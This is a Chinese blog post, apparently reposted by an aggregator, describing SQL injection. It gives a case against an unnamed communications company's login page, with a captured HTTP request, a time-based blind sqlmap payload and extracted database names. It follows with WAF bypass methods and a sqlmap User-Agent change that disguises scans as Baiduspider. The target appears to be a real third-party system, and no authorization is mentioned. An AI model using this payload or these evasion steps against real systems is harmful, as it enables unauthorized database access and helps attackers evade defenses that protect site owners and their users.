SQL注入分享
Posted 黑云信息安全
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入分享相关的知识,希望对你有一定的参考价值。
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时对用户输入数据的合法性没有判断,攻击者可以在web应用事先定义好的查询语句末尾添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查操作,从而进一步得到相应的数据信息。案例如下:
一天发现某通讯技术公司网站存在sql注入
漏洞url:http://xx.xx.xx.xx:8888/Web_sc/login.gn
首先,任意输入账号密码,使用burp进行抓包如下:
POST /GNRemote.dll?GNFunction=LoginServer&decorator=text_wrap&frombrowser=esl HTTP/1.1
Host: xx.xx.xx.xx:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 108
Origin: http://xx.xx.xx.xx:8888
Connection: close
Referer: http://xx.xx.xx.xx:8888/Web_sc/login.gn
username=admin&password=6e8f717b8982f4ac&ClientStatus=1&cur_url=http://xx.xx.xx.xx:8888/Web_sc/login.gn#
然后使用sqlmap工具跑:
得到payload:
username=admin' OR 6033=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))-- iQVk&password=6e8f717b8982f4ac&ClientStatus=1&cur_url=http://xx.xx.xx.xx:8888/Web_sc/login.gn
和库名:
domaingroup
log
log_alarm等等
以上为比较简单的情况,但现在很多web应用都会针对sql语句和符号等进行判断和过滤,并通过waf进行防御,现分享一些绕过判断,过滤和waf的简单思路以及方法。
1、Sql绕过:
从目前能找到的资料来看,防护和监测的手段有黑白名单过滤,特殊字符输入控制,在提交数据库进⾏ SQL 查询之前,对特殊字符进⾏过滤、转义、替换、删除等。绕过的方法有以下几种:大小写混合,替换关键字,使用编码,使用注释,等价函数与命令,特殊符号,HTTP参数控制,整合绕过等。我们要首先通过手工活工具测试确定waf或web应用的过滤,拦截判断方式,然后针对性的使用绕过方法进行绕过。
2、sqlmap绕过,sqlmap 是一个开源的渗透测试工具,可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。为了节省时间很多兄弟喜欢用Sqlmap来检测注入,但很多waf和web应用都针对sqlmap的数据包特征做了判断和过滤,我们可以通过修改Sqlmap数据包特征的方式来绕过。
现就已修改user_agent为例
我们可以用自带参数或源码来修改
参数修改:使用–user-anget参数修改,也可以使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。
源码修改:打开sql目录下的\lib\core\option.py 中找到
DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)
更改为百度蜘蛛UA可以绕过一部分防护软件
DEFAULT_USER_AGENT ="User-Agent:Mozilla/5.0 (compatible; baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
以上是关于SQL注入分享的主要内容,如果未能解决你的问题,请参考以下文章